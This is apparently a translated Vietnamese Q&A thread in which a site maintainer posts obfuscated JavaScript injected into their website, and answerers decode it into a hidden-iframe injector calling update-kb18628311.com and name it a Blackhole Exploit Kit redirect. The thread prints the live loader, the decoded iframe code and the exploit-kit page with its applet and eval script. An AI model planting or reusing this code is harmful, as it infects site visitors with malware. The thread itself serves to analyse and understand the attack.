2012-02-28 72 views
10

Mã này đã được bật lên trên một trang web mà tôi đã duy trì, bất kỳ đầu mối nào về những gì đang xảy ra ở đây?Mục đích của việc hack JavaScript này là gì?

if (window.document) aa = [] + 0; 
aaa = 0 + []; 
if (aa.indexOf(aaa) === 0) { 
    ss = ''; 
    try { 
     new location(12); 
    } catch (qqq) { 
     s = String; 
     f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har'; 
     f += 'Code'; 
    } 
    ee = 'e'; 
    e = window.eval; 
    t = 'y'; 
} 
h = Math.round(-4 * Math.tan(Math.atan(0.5))); 
n = "3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a57.5a55a49a47.5a57a49.5a21.5a52.5a48a23.5a27a26a24a27a24.5a23.5a23.5a22a48.5a54.5a53.5a22.5a48.5a51a49.5a48.5a52.5a22a55a51a55a30.5a49a47.5a57a49.5a29.5a23a27a49.5a47.5a48.5a49.5a47.5a48.5a48.5a48.5a25.5a25a26a47.5a25.5a24.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a"); 
for (i = 0; i - n.length < 0; i++) { 
    j = i; 
    ss = ss + s[f](-h * (1 + 1 * n[j])); 
} 
q = ss; 
if (f) e(q); 

chỉnh sửa cảnh báo q kết quả trong mã này

if (document.getElementsByTagName('body')[0]) { 
      iframer(); 
     } else { 
      document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
     } 
     function iframer() { 
      var f = document.createElement('iframe'); 
      f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53'); 
      f.style.visibility = 'hidden'; 
      f.style.position = 'absolute'; 
      f.style.left = '0'; 
      f.style.top = '0'; 
      f.setAttribute('width', '10'); 
      f.setAttribute('height', '10'); 
      document.getElementsByTagName('body')[0].appendChild(f); 
     } 

Từ http://update-kb18628311.com/check.php?date=08eaceaccc546a53

<html> 

    <body> 
     <applet code='&#80;hoto.class' archive='http://update-kb18628311.com/content&#47;jav2.jar'> 
      <param name="p" value="v&#115;sMlgghMA7s6af.dB=3B%ddPJFUgYPMvM-Vc/oAd/G6cr" 
      /> 
     </applet> 
     <div style="color:red;"> 
      <p style="display:none;">ti#y/SNIP/#ti#ye#uw#to#tu#ur#w#qr#y#y#y#-q#qu#ie#ue#up#yy#y#-w#-q#qu</p> 
     </div> 
     <script> 
      ss = 's'; 
      g = 'g'; 
      r = 'r'; 
      d = 'd'; 
      c = 'c'; 
      t = 't'; 
      try { 
       new window(123).typ; 
      } catch (qq) { 
       aa = /s/g.exec("a" + "sd").index + []; 
       e = window.eval; 
       cc = document; 
      } 
      aaa = 1 + []; 
      i = 0; 
      try { 
       new btoa({}); 
      } catch (qqq) { 
       if (aaa == aa) for (;;) { 
        a = cc.body[c + 'h' + 'ildNodes'][i]; 
        if (a[t + "agName"].toLowerCase() == "div") break; 
        i++; 
       } 
       try { 
        new btoa(12); 
       } catch (qqq) { 
        r += "eplace"; 
       } 
       a = a[c + 'hildNodes'][0].innerHTML; 
       a = a[r](/q/g, "1"); 
       a = a[r](/w/g, "2"); 
       a = a[r](/e/g, "3"); 
       a = a[r](/r/g, "4"); 
       a = a[r](/t/g, "5"); 
       a = a[r](/y/g, "6"); 
       a = a[r](/u/g, "7"); 
       a = a[r](/i/g, "8"); 
       a = a[r](/o/g, "9"); 
       a = a[r](/p/g, "0"); 
      } 
      a = a.split("#"); 
      md = 'a'; 
      c = []; 
      i = 0; 
      p = parseInt; 
      try { 
       new window(123).typ; 
      } catch (qqq) { 
       qq = String; 
      } 
      try { 
       new btoa(12); 
      } catch (qqq) { 
       fr = "ode"; 
      } 
      try { 
       new window(123).typ; 
      } catch (qqq) { 
       qq2 = e("qq.fromCharC" + fr); 
      } 
      if (aaa == aa) { 
       while (13153 > i) { 
        vv = a[i]; 
        r2 = cc = qq2(40 + 2 + 1 * vv); 
        r = c; 
        if (fr) c = r + r2; 
        i = i + 1; 
       } 
       w = e; 
       w(c); 
      } 
     </script> 
    </body> 

</html> 
+2

Trông giống như mã tấn công bị xáo trộn, mặc dù tôi không thấy nó làm gì. – hayavuk

+0

Bạn có lẽ nên cố gắng tìm ra những gì nó làm bằng cách nhìn vào nó ngược lại và tìm ra cách mỗi var được tính toán, từng người một. – hayavuk

+0

Không, bạn chỉ cần chạy nó và đổ 'q' vào giao diện điều khiển = p –

Trả lời

11

Nó tiêm iframe sau:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

Đó là không phải là rất phức tạp, chúng ta hãy đi qua nó (bạn có thể kiểm tra tất cả điều này cho mình trong giao diện điều khiển dễ dàng):

if (window.document) aa = [] + 0; 
aaa = 0 + []; 

Nếu chúng tôi kiểm tra giao diện điều khiển: aa === "0"aaa === "0" nên tiếp theo nếu đánh giá lại là true:

if (aa.indexOf(aaa) === 0) { 
    ss = ''; 
    try { 
     new location(12); 
    } catch (qqq) { 
     s = String; 
     f = 'f' + 'r' + 'o' + 'm' + 'C' + 'har'; 
     f += 'Code'; 
    } 
    ee = 'e'; 
    e = window.eval; 
    t = 'y'; 
} 

Tất cả những gì thực hiện ở đây là chúng tôi đã shortcutted các eval chức năng để sử dụng sau, và xây dựng một chuỗi f === "fromCharCode" rằng chúng tôi sẽ sử dụng để gọi String.fromCharCode để chuyển đổi mã ascii vào thực tế javascript lệnh trong một khoảnh khắc.

h = Math.round(-4 * Math.tan(Math.atan(0.5))); 
n = "..." // ascii based code 
for (i = 0; i - n.length < 0; i++) { 
    j = i; 
    ss = ss + s[f](-h * (1 + 1 * n[j])); 
} 

Trong vòng lặp, chúng tôi chỉ cần tạo chuỗi như đã đề cập. Những thứ trig chỉ là để gây nhầm lẫn tôi cho rằng, mặc dù nó không phải là rất khó hiểu.

q = ss; 
if (f) e(q); 

Và cuối cùng là if(f) sẽ đánh giá đúng sự thật kể từ f là một chuỗi rỗng và vì vậy chúng tôi gọi e đó là các phím tắt eval chúng tôi thực hiện trước đó, với chuỗi chúng tôi xây dựng từ mã. Mã kết quả tôi dán ở trên cùng.

8

đây là những gì các mã để đánh giá:

if (document.getElementsByTagName('body')[0]) { 
    iframer(); 
} else { 
    document.write("<iframe src='http://update-kb18628311.com/check.php?date=08eaceaccc546a53' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer() { 
    var f = document.createElement('iframe'); 
    f.setAttribute('src', 'http://update-kb18628311.com/check.php?date=08eaceaccc546a53'); 
    f.style.visibility = 'hidden'; 
    f.style.position = 'absolute'; 
    f.style.left = '0'; 
    f.style.top = '0'; 
    f.setAttribute('width', '10'); 
    f.setAttribute('height', '10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

Nó trông giống như một loại virus

Vì vậy, các trang web mà bạn đang duy trì có lẽ là dễ bị tổn thương tại một số điểm. ai đó đã tiêm mã này vào trang web; hoặc thông qua XSS và/hoặc SQL Injection

+1

Nó cũng có thể được bao gồm bởi một nhân viên bất mãn, được tải lên thông qua cấu hình FTP hoặc SFTP không an toàn, được chèn vào mã thông qua sự không an toàn của _browser_ gắn hệ thống tập tin, rất nhiều cách khác nhau mà nó có thể hiển thị. – sarnold

+0

@ sarnold, đã đồng ý, tôi hơi có chút suy nghĩ ở đó :) – epoch

1

Đó là một liên kết chuyển tiếp với Blackhole Exploit Kit. Rất có thể bạn đang cố cài đặt Zeus/Zbot trên máy của mình. Tự bảo vệ mình bằng cách tắt JavaScript hoặc chạy noscript liên kết plugin trình duyệt.

Các vấn đề liên quan